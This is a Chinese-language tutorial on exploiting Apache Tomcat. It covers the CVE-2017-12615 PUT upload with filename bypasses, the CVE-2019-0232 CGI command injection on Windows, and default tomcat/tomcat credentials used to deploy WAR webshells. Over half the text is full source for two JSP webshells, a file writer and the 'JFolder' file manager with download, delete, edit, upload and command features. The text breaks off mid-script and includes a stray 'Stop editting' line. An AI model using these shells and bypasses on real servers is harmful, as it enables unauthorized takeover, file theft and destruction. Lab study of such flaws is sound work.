Tomcat漏洞详解

Tomcat

Tomcat是一个开源的Servlet容器,由Apache软件基金会开发,用于托管Java Web应用程序。它实现了Java Servlet和JavaServer Pages(JSP)技术,并提供了一些特有的Web服务器功能,如管理和控制平台、安全域管理和阀等。

Tomcat 与 JDK 对应版本关系

image-20240904163326635

Tomcat版本不能低于兼容的jdk的最低版本:
如果你的JDK版本是1.8,那么Tomcat版本必须在10.0.x以下;
如果你的JDK版本是1.7,那么Tomcat版本必须在8.5.x以下;
如果你的JDK版本是1.6,那么Tomcat版本必须在7.0.x以下;

Tomcat各个版本下载网站:Index of /dist/tomcat (apache.org)


一些重要文件

Tomcat的目录结构

  • bin-----存放Tomcat的脚本文件,例如启动、关闭
  • conf----Tomcat的配置文件,例如server.xml和web.xml
  • lib-----存放Tomcat运行需要的库文件(JAR包)
  • logs----存放Tomcat执行时的LOG文件
  • temp----存放Tomcat运行时所产生的临时文件
  • webapps-Web发布目录,默认情况下把Web应用文件放于此目录
  • work----存放jsp编译后产生的class文件

Tomcat内有一些重要的文件,需要先了解其作用:

  1. server.xml:配置tomcat启动的端口号、host主机、Context等
  2. web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
  3. tomcat-users.xml:tomcat的用户密码与权限

Tomcat 任意文件写入(CVE-2017-12615)

主要影响范围:Apache Tomcat 7.0.0 - 7.0.81(默认配置)

这里我使用的是vulhub靶场中的Tomcat/8.5.19进行复现

image-20240903164321724

漏洞原理

该漏洞由于配置不当,将配置文件web.xml中的readonly项设置为了false,导致可以使用PUT方法上传任意文件,但这里限制了jsp文件,需要进行绕过上传jsp文件

我们可以通过cat conf/web.xml | grep readonly来查看readonly的值:

  1. 先输入docker container ls 查看开启的容器

  2. 然后输入docker exec -ti 容器ID bash 进入容器docker

  3. 最后输入命令cat conf/web.xml | grep readonly即可

image-20240903171749961


漏洞复现

1、搭建好环境后,进入靶场

image-20240903164357021

2、使用bp抓包,将请求方法改为PUT,并上传1.txt文件。

image-20240903172220228

3、访问1.txt发现上传成功了,那我们接下来考虑上传jsp文件,但这里是过滤了jsp的,所以需要绕过

image-20240903172318534

4、绕过方法有以下三种:

  • Windows下不允许文件以空格结尾,以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
  • Windows NTFS流,Put/a001.jsp::$DATA HTTP/1.1
  • /在文件名中是非法的,也会被去除(Linux/Windows)Put/a001.jsp/http:/1.1

5、我们使用冰蝎生成一个shell.jsp文件(将里面的内容复制到bp中),并使用第三种绕过方法进行上传,当看到回显201时,说明上传成功了

image-20240903174653759

image-20240903174851012

6、使用冰蝎连接发现可以看到其中的文件目录了。

image-20240903180130821

image-20240903175949673


修复建议

把readonly 改成true

<init-param>
 <param-name>readonly</param-name>
 <param-value>false</param-value>
</init-param>

Tomcat远程代码执行(CVE-2019-0232)

主要影响范围:

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

注意:该漏洞只对Windows平台有效,要求系统启用了CGI Servlet,并且配置enableCmdLineArgumentsexecutable选项。默认情况下,CGI Servlet是关闭的,因此只有在特定配置下才会受到影响。

  1. enableCmdLineArguments 启用后才会将url中的参数传递到命令行
  2. executable 指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身

这里在Windows虚拟机内使用Tomcat/9.0.16进行复现(默认安装即可,挺简单的就不做赘述了)


漏洞原理

漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用enableCmdLineArguments 参数时,会根据RFC 3875 来从Url参数中生成命令行参数,并把参数传递至Java的Runtime执行。

这个漏洞时因为Runtime.getRuntime().exec 在windows和linux中底层实现不同导致的


实例说明

我们可以通过一个简单的例子来说明这一问题:

  1. 在 Windows 上的示例

    首先,在 Windows 下创建一个名为 test1.bat 的批处理文件,其内容如下:

    echo %*
    

    然后,执行以下 Java 代码(当然不止如下代码):

    String[] cmd = {"test1.bat", "arg1", "&", "dir"};
    Runtime.getRuntime().exec(cmd);
    

    结果是在 Windows 下输出 arg1 以及 dir 命令的执行结果:

    image-20240904142429026


  2. 在 Linux 上的示例

    在 Linux 中创建一个脚本 test1.sh(需要chmod +x test1.sh赋予权限):

    # test1.sh
    for key in "$@"
    do
        echo '$@' $key
    done
    

    同样,执行以下 Java 代码(把刚才的Java代码中的test1.bat修改成绝对路径/test1.sh即可):

    String[] cmd = {"绝对路径/test1.sh", "arg1", "&", "dir"};
    Runtime.getRuntime().exec(cmd);
    

    此时,输出如下:

    image-20240904142748276


原理解析

这种差异是由于 Java 的 Runtime.getRuntime().exec 方法实际上调用了 ProcessBuilder,然后 ProcessBuilder 调用 ProcessImpl,最终使用系统调用 vfork 将所有参数传递给 execve

在 Linux 中,通过 strace -F -e vfork,execve java Main 可以看到上面的 Java 代码被调用为:

execve("test1.sh", ["test1.sh", "arg1", "&", "dir"], [/* 23 vars */])

而在 PHP 中,如果执行类似代码 system('test1.sh arg1 & dir');,则会看到:

execve("/bin/sh", ["sh", "-c", "test1.sh arg1 & dir"], [/* 23 vars */])

这意味着在 CGI 调用的场景中,Java 的 Runtime.getRuntime().exec 很难产生命令注入漏洞。

然而,在 Windows 中,进程创建使用的是 CreateProcess,它将参数合并为一个字符串,作为 lpCommandLine 传入 CreateProcess。程序启动后调用 GetCommandLine 获取参数,并通过 CommandLineToArgvW 传递给 argv。如果参数中包含 .bat.cmd 文件,最终命令会变为 cmd.exe /c "test1.bat & dir",由于 Java 调用中未进行任何转义,因此在 Windows 下会存在此漏洞。


Windows 参数处理的特殊性

此外,Windows 处理命令行参数时还有一个特性,即使进行了简单的转义,仍然可能被绕过。例如:

dir "\"&whoami"

在 Linux 中是安全的(可能只是输出\符号),但在 Windows 中会执行 whoami 命令。这是因为 Windows 在处理命令行参数时,会将引号 " 中的内容拷贝为下一个参数,直到命令行结束或遇到下一个引号。但对于引号的处理有缺陷,可能会导致意外行为。

因此,在 Java 中调用批处理或 .cmd 文件时,必须进行适当的参数检查,以避免出现此类漏洞。


漏洞复现

1、首先进行CGI相关的配置,在conf/web.xml启用CGIServlet:

编辑容器内文件:

web.xml 中的大概%7处找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArgumentsexecutable

<init-param>
	<param-name>enableCmdLineArguments</param-name>
	<param-value>true</param-value>
</init-param>
<init-param>
	<param-name>executable</param-name>
	<param-value></param-value>
</init-param>

image-20240904152752173

2、然后在web.xml 中大概%8处启用cgi的servlet-mapping(去掉注释)

image-20240904152908067

3、最后修改conf/context.xml,添加privileged="true"属性,否则会设有权限

image-20240904152938374

5、配置目录文件:在/tomcat/webapps/ROOT/WEB-INF/目录下创建cgi-bin目录,并在里面创建一个bat文件,内容随意。

image-20240904153319358

6、访问http://127.0.0.1:8080/cgi-bin/hello.bat?&dir即可看到成功任意代码执行


修复建议

  1. 使用更新版本的 Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.18没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本
  2. 关闭 enableCmdLineArguments参数

Tomcat 弱口令 && 后台 getshell 漏洞

影响范围:Tomcat8

测试环境:Tomcat/8.0.43

漏洞原理

  1. 弱口令问题:Tomcat管理后台的登录认证通常使用HTTP基础认证,如果管理员设置了过于简单的密码(即弱口令),攻击者可以通过暴力破解或使用默认的账号密码等方式轻易登录到管理后台。
  2. 后台部署war文件:Tomcat支持在后台部署war文件,这些war文件可以直接将webshell部署到web目录下。一旦攻击者通过弱口令登录到管理后台,就可以利用这一功能上传包含恶意代码的war文件,从而在服务器上执行任意代码,获取服务器控制权(即getshell)。

漏洞复现

1、首先去docker容器内看看它的源码

sudo docker ps
sudo docker exec -ti a bash
cd conf

image-20240904215426667

2、我们直接看tomcat-users.xml,也可以复制到容器外的目录进行查看(方便编辑)

复制文件:

docker cp 容器ID:/usr/local/tomcat/conf/tomcat-users.xml /github-phenomenon/vulhub/tomcat/tmp

image-20240904220423900

3、源码如下:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 version="1.0">
 <role rolename="manager-gui"/> 
 <role rolename="manager-script"/>
 <role rolename="manager-jmx"/>
 <role rolename="manager-status"/>
 <role rolename="admin-gui"/>
 <role rolename="admin-script"/>
 <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
 
</tomcat-users>

具体解释:

manager(后台管理):

  • manager-gui 拥有 html 页面权限
  • manager-script 拥有 text 接口的权限,和 status 权限
  • manager-jmx 拥有 jmx 权限和 status 权限
  • manager-status 拥有查看 status 的权限

host-manager(虚拟主机管理)

  • admin-gui 拥有 html 页面权限
  • admin-script 拥有 text 接口权限

4、访问它的后台地址/manager/html,它这个登录框是没有验证码的,可以进行爆破,这里的账号密码都是默认:tomcat ; tomcat

image-20240904221747905

5、关于为什么上传War包:

War包是用来进行Web开发时一个网站项目下的所有代码,包括前端HTML/CSS/JS代码,以及后端JavaWeb的代码。

当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。

image-20240904222558926

6、这里我们可以将jsp大马打包成War包进行上传

方式有两种:

  • zip压缩 然后改后缀 成War的包
  • 使用Java命令:jar -cvf pl.war pl.jsp
<%@page contentType="text/html;charset=gb2312"%>    
<%@page import="java.io.*,java.util.*,java.net.*"%>    
<html>    
  <head>    
    <title></title>    
    <style type="text/css">    
     body { color:red; font-size:12px; background-color:white; }    
    </style>    
  </head>    
  <body>    
  <%    
   if(request.getParameter("context")!=null)    
   {    
   String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");    
   String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");    
   OutputStream pt = null;    
        try {    
            pt = new FileOutputStream(path);    
            pt.write(context.getBytes());    
            out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");    
        } catch (FileNotFoundException ex2) {    
            out.println("<font color='red'>上传失败!</font>");    
        } catch (IOException ex) {    
            out.println("<font color='red'>上传失败!</font>");    
        } finally {    
            try {    
                pt.close();    
            } catch (IOException ex3) {    
                out.println("<font color='red'>上传失败!</font>");    
            }    
        }    
}    
  %>    
    <form name="frmUpload" method="post" action="">    
    <font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>    
    <br>    
    <br>    
    <font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">    
    <br>    
    <br>    
    上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>    
    <br>    
    <br>    
    <input type="submit" name="btnSubmit" value="Upload">    
    </form>    
  </body>    
</html>   
 

7、改成War包后上传,成功后会回显OK,并且能够在页面中看到上传的文件(/pl就是)

image-20240904223440220

8、进入docker容器内的webapps目录,可以看到确实上传成功了

image-20240904230405483

9、访问156.238.233.52:8080/pl/pl.jsp发现成功解析jsp大马,并能 upload上传功能

image-20240904223939324

10、使用冰蝎生成一个jsp马,然后打包成War包,回到上传War文件处上传

image-20240904233534904

11、上传成功后使用冰蝎连接即可(如果你是冰蝎生成的马,加密类型选择自定义,然后协议选择你生成的payload的类型)。

image-20240904234628041

这里贴一个超级大马:

<%
/**
JFolder V0.9  windows platform
@Filename: JFolder.jsp 
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能较弱。
 
@Bugs  :  下载时,中文文件名无法正常显示
*/
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 岁月联盟-专用版 </font>"," <font color=red> Thanks for your support - - by Steven Cee http:// </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 统 属 性","System Property"};
String[] strHelp         = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers      = {"驱动器","Drivers"};
String[] strFileName     = {"文件名称","File Name"};
String[] strFileSize     = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下载","Download"};
String[] strFileCopy     = {"复制","Move"};
String[] strFileDel      = {"删除","Delete"};
String[] strExecute      = {"执行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"保存","Save"};
 
public class FileHandler
{
 private String strAction="";
 private String strFile="";
 void FileHandler(String action,String f)
 {
 
 }
}
 
public static class UploadMonitor {
 
  static Hashtable uploadTable = new Hashtable();
 
  static void set(String fName, UplInfo info) {
   uploadTable.put(fName, info);
  }
 
  static void remove(String fName) {
   uploadTable.remove(fName);
  }
 
  static UplInfo getInfo(String fName) {
   UplInfo info = (UplInfo) uploadTable.get(fName);
   return info;
  }
}
 
public class UplInfo {
 
  public long totalSize;
  public long currSize;
  public long starttime;
  public boolean aborted;
 
  public UplInfo() {
   totalSize = 0l;
   currSize = 0l;
   starttime = System.currentTimeMillis();
   aborted = false;
  }
 
  public UplInfo(int size) {
   totalSize = size;
   currSize = 0;
   starttime = System.currentTimeMillis();
   aborted = false;
  }
 
  public String getUprate() {
   long time = System.currentTimeMillis() - starttime;
   if (time != 0) {
    long uprate = currSize * 1000 / time;
    return convertFileSize(uprate) + "/s";
   }
   else return "n/a";
  }
 
  public int getPercent() {
   if (totalSize == 0) return 0;
   else return (int) (currSize * 100 / totalSize);
  }
 
  public String getTimeElapsed() {
   long time = (System.currentTimeMillis() - starttime) / 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }
 
  public String getTimeEstimated() {
   if (currSize == 0) return "n/a";
   long time = System.currentTimeMillis() - starttime;
   time = totalSize * time / currSize;
   time /= 1000l;
   if (time - 60l >= 0){
    if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
    else return time / 60 + ":0" + (time % 60) + "m";
   }
   else return time<10 ? "0" + time + "s": time + "s";
  }
 
 }
 
 public class FileInfo {
 
  public String name = null, clientFileName = null, fileContentType = null;
  private byte[] fileContents = null;
  public File file = null;
  public StringBuffer sb = new StringBuffer(100);
 
  public void setFileContents(byte[] aByteArray) {
   fileContents = new byte[aByteArray.length];
   System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  }
}
 
// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {
 
  private final String lineSeparator = System.getProperty("line.separator", "\n");
  private final int ONE_MB = 1024 * 1;
 
  public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
    int clength) throws IllegalArgumentException, IOException {
   if (is == null) throw new IllegalArgumentException("InputStream");
   if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
     "\"" + boundary + "\" is an illegal boundary indicator");
   boundary = "--" + boundary;
   StringTokenizer stLine = null, stFields = null;
   FileInfo fileInfo = null;
   Hashtable dataTable = new Hashtable(5);
   String line = null, field = null, paramName = null;
   boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
   boolean isFile = false;
   if (saveFiles) { // Create the required directory (including parent dirs)
    File f = new File(saveInDir);
    f.mkdirs();
   }
   line = getLine(is);
   if (line == null || !line.startsWith(boundary)) throw new IOException(
     "Boundary not found; boundary = " + boundary + ", line = " + line);
   while (line != null) {
    if (line == null || !line.startsWith(boundary)) return dataTable;
    line = getLine(is);
    if (line == null) return dataTable;
    stLine = new StringTokenizer(line, ";\r\n");
    if (stLine.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    line = stLine.nextToken().toLowerCase();
    if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
      "Bad data in second line");
    stFields = new StringTokenizer(stLine.nextToken(), "=\"");
    if (stFields.countTokens() < 2) throw new IllegalArgumentException(
      "Bad data in second line");
    fileInfo = new FileInfo();
    stFields.nextToken();
    paramName = stFields.nextToken();
    isFile = false;
    if (stLine.hasMoreTokens()) {
     field = stLine.nextToken();
     stFields = new StringTokenizer(field, "=\"");
     if (stFields.countTokens() > 1) {
      if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
       fileInfo.name = paramName;
       String value = stFields.nextToken();
       if (value != null && value.trim().length() > 0) {
        fileInfo.clientFileName = value;
        isFile = true;
       }
       else {
        line = getLine(is); // Skip "Content-Type:" line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Skip blank line
        line = getLine(is); // Position to boundary line
        continue;
       }
      }
     }
     else if (field.toLowerCase().indexOf("filename") >= 0) {
      line = getLine(is); // Skip "Content-Type:" line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Skip blank line
      line = getLine(is); // Position to boundary line
      continue;
     }
    }
    boolean skipBlankLine = true;
    if (isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     if (line.trim().length() < 1) skipBlankLine = false;
     else {
      stLine = new StringTokenizer(line, ": ");
      if (stLine.countTokens() < 2) throw new IllegalArgumentException(
        "Bad data in third line");
      stLine.nextToken(); // Content-Type
      fileInfo.fileContentType = stLine.nextToken();
     }
    }
if (skipBlankLine) {
     line = getLine(is);
     if (line == null) return dataTable;
    }
    if (!isFile) {
     line = getLine(is);
     if (line == null) return dataTable;
     dataTable.put(paramName, line);
     // If parameter is dir, change saveInDir to dir
     if (paramName.equals("dir")) saveInDir = line;
     line = getLine(is);
     continue;
    }
    try {
     UplInfo uplInfo = new UplInfo(clength);
     UploadMonitor.set(fileInfo.clientFileName, uplInfo);
     OutputStream os = null;
     String path = null;
     if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
       fileInfo.clientFileName));
     else os = new ByteArrayOutputStream(ONE_MB);
     boolean readingContent = true;
     byte previousLine[] = new byte[2 * ONE_MB];
     byte temp[] = null;
     byte currentLine[] = new byte[2 * ONE_MB];
     int read, read3;
     if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
      line = null;
      break;
     }
     while (readingContent) {
      if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
       line = null;
       uplInfo.aborted = true;
       break;
      }
      if (compareBoundary(boundary, currentLine)) {
       os.write(previousLine, 0, read - 2);
       line = new String(currentLine, 0, read3);
       break;
      }
      else {
       os.write(previousLine, 0, read);
       uplInfo.currSize += read;
       temp = currentLine;
       currentLine = previousLine;
       previousLine = temp;
       read = read3;
      }//end else
     }//end while
     os.flush();
     os.close();
     if (!saveFiles) {
      ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
      fileInfo.setFileContents(baos.toByteArray());
     }
     else fileInfo.file = new File(path);
     dataTable.put(paramName, fileInfo);
     uplInfo.currSize = uplInfo.totalSize;
    }//end try
    catch (IOException e) {
     throw e;
    }
   }
   return dataTable;
  }
 
  /**
   * Compares boundary string to byte array
   */
  private boolean compareBoundary(String boundary, byte ba[]) {
   byte b;
   if (boundary == null || ba == null) return false;
   for (int i = 0; i < boundary.length(); i++)
    if ((byte) boundary.charAt(i) != ba[i]) return false;
   return true;
  }
 
  /** Convenience method to read HTTP header lines */
  private synchronized String getLine(ServletInputStream sis) throws IOException {
   byte b[] = new byte[1024];
   int read = sis.readLine(b, 0, b.length), index;
   String line = null;
   if (read != -1) {
    line = new String(b, 0, read);
    if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
   }
   return line;
  }
 
  public String getFileName(String dir, String fileName) throws IllegalArgumentException {
   String path = null;
   if (dir == null || fileName == null) throw new IllegalArgumentException(
     "dir or fileName is null");
   int index = fileName.lastIndexOf('/');
   String name = null;
   if (index >= 0) name = fileName.substring(index + 1);
   else name = fileName;
   index = name.lastIndexOf('\\');
   if (index >= 0) fileName = name.substring(index + 1);
   path = dir + File.separator + fileName;
   if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
   else return path.replace('/', File.separatorChar);
  }
} //End of class HttpMultiPartParser
 
String formatPath(String p)
{
 StringBuffer sb=new StringBuffer();
 for (int i = 0; i < p.length(); i++) 
 {
  if(p.charAt(i)=='\\')
  {
   sb.append("\\\\");
  }
  else
  {
   sb.append(p.charAt(i));
  }
 }
 return sb.toString();
}
 
 /**
  * Converts some important chars (int) to the corresponding html string
  */
 static String conv2Html(int i) {
  if (i == '&') return "&amp;";
  else if (i == '<') return "&lt;";
  else if (i == '>') return "&gt;";
  else if (i == '"') return "&quot;";
  else return "" + (char) i;
 }
 
 /**
  * Converts a normal string to a html conform string
  */
 static String htmlEncode(String st) {
  StringBuffer buf = new StringBuffer();
  for (int i = 0; i < st.length(); i++) {
   buf.append(conv2Html(st.charAt(i)));
  }
  return buf.toString();
 }
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
 StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
 File roots[]=File.listRoots();
 for(int i=0;i<roots.length;i++)
 {
  sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
  sb.append(roots[i]+"</a>&nbsp;");
 }
 return sb.toString();
}
static String convertFileSize(long filesize)
{
 //bug 5.09M 显示5.9M
 String strUnit="Bytes";
 String strAfterComma="";
 int intDivisor=1;
 if(filesize>=1024*1024)
 {
  strUnit = "MB";
  intDivisor=1024*1024;
 }
 else if(filesize>=1024)
 {
  strUnit = "KB";
  intDivisor=1024;
 }
 if(intDivisor==1) return filesize + " " + strUnit;
 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
 if(strAfterComma=="") strAfterComma=".0";
 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile; 
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
 
if((tabID==null) || tabID.equals(""))
{
 tabID = "1";
}
 
if(strDir==null||strDir.length()<1)
{
 strDir = request.getRealPath("/");
}
 
 
if(strAction!=null && strAction.equals("down"))
{
 File f=new File(strPath);
 if(f.length()==0)
 {
  sbDown.append("文件大小为 0 字节,就不用下了吧");
 }
 else
 {
  response.setHeader("content-type","text/html; charset=ISO-8859-1");
  response.setContentType("APPLICATION/OCTET-STREAM"); 
  response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
  FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
  out.clearBuffer();
  int i;
  while ((i=fileInputStream.read()) != -1)
  {
   out.write(i); 
  }
  fileInputStream.close();
  out.close();
 }
}
 
if(strAction!=null && strAction.equals("del"))
{
 File f=new File(strPath);
 f.delete();
}
 
if(strAction!=null && strAction.equals("edit"))
{
 File f=new File(strPath); 
 BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
 sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
 sbEdit.append("<input type=hidden name=action value=save >\r\n");
 sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
 sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
 sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
 sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' οnclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
 sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
 String line="";
 while((line=br.readLine())!=null)
 {
  sbEdit.append(htmlEncode(line)+"\r\n");  
 }
   sbEdit.append("</textarea>");
 sbEdit.append("<input type=hidden name=path value="+strDir+">");
 sbEdit.append("</form>");
}
 
if(strAction!=null && strAction.equals("save"))
{
 File f=new File(strPath);
 BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
 String strContent=request.getParameter("content");
 bw.write(strContent);
 bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
 File f=new File(strPath);
 sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
 sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
 sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
 sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
 sbCopy.append("原始文件: "+strPath+"<p>");
 sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
 sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
 sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' οnclick='history.back(-1);'> <p>&nbsp;\r\n");
 sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
 File f=new File(strPath);
 String strDesFile=request.getParameter("file2");
 if(strDesFile==null || strDesFile.equals(""))
 {
  sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
 }
 else
 {
  File f_des=new File(strDesFile);
  if(f_des.isFile())
  {
   sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
  }
  else
  {
   String strTmpFile=strDesFile;
   if(f_des.isDirectory())
   {
    if(!strDesFile.endsWith("\\"))
    {
     strDesFile=strDesFile+"\\";
    }
    strTmpFile=strDesFile+"cqq_"+strFile;
    }
   
   File f_des_copy=new File(strTmpFile);
   FileInputStream in1=new FileInputStream(f);
   FileOutputStream out1=new FileOutputStream(f_des_copy);
   byte[] buffer=new byte[1024];
   int c;
   while((c=in1.read(buffer))!=-1)
   {
    out1.write(buffer,0,c);
   }
   in1.close();
   out1.close();
 
   sbSaveCopy.append("原始文件 :"+strPath+"<p>");
   sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");
   sbSaveCopy.append("<font color=red>复制成功!</font>");   
  }  
 } 
 sbSaveCopy.append("<p><input type=button name=saveCopyBack οnclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
 String strF=request.getParameter("fileName");
 String strType1=request.getParameter("btnNewFile");
 String strType2=request.getParameter("btnNewDir");
 String strType="";
 if(strType1==null)
 {
  strType="Dir";
 }
 else if(strType2==null)
 {
  strType="File";
 }
 if(!strType.equals("") && !(strF==null || strF.equals("")))
 {  
   File f_new=new File(strF);   
   if(strType.equals("File") && !f_new.createNewFile())
    sbNewFile.append(strF+" 文件创建失败");
   if(strType.equals("Dir") && !f_new.mkdirs())
    sbNewFile.append(strF+" 目录创建失败");
 }
 else
 {
  sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
 }
}
 
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
 String tempdir=".";
 boolean error=false;
 response.setContentType("text/html");
 sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
 HttpMultiPartParser parser = new HttpMultiPartParser();
 
 int bstart = request.getContentType().lastIndexOf("oundary=");
 String bound = request.getContentType().substring(bstart + 8);
 int clength = request.getContentLength();
 Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
 if (ht.get("cqqUploadFile") != null)
 {
 
  FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
  File f1 = fi.file;
  UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  if (info != null && info.aborted) 
  {
   f1.delete();
   request.setAttribute("error", "Upload aborted");
  }
  else 
  {
   String path = (String) ht.get("path");
   if(path!=null && !path.endsWith("\\")) 
    path = path + "\\";
   if (!f1.renameTo(new File(path + f1.getName()))) 
   {
    request.setAttribute("error", "Cannot upload file.");
    error = true;
    f1.delete();
   }
  }
 }
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }
 
#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}
 
#tablist li{
list-style: none;
display: inline;
margin: 0;
}
 
#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}
 
#tablist li a:link, #tablist li a:visited{
color: navy;
}
 
#tablist li a.current{
background: #EAEAFF;
}
 
#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}
 
.tabcontent{
display:none;
}
 
</style>
 
<script type="text/javascript">
 
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
 
Stop editting
 
function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}
 
var previoustab=""
 
function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
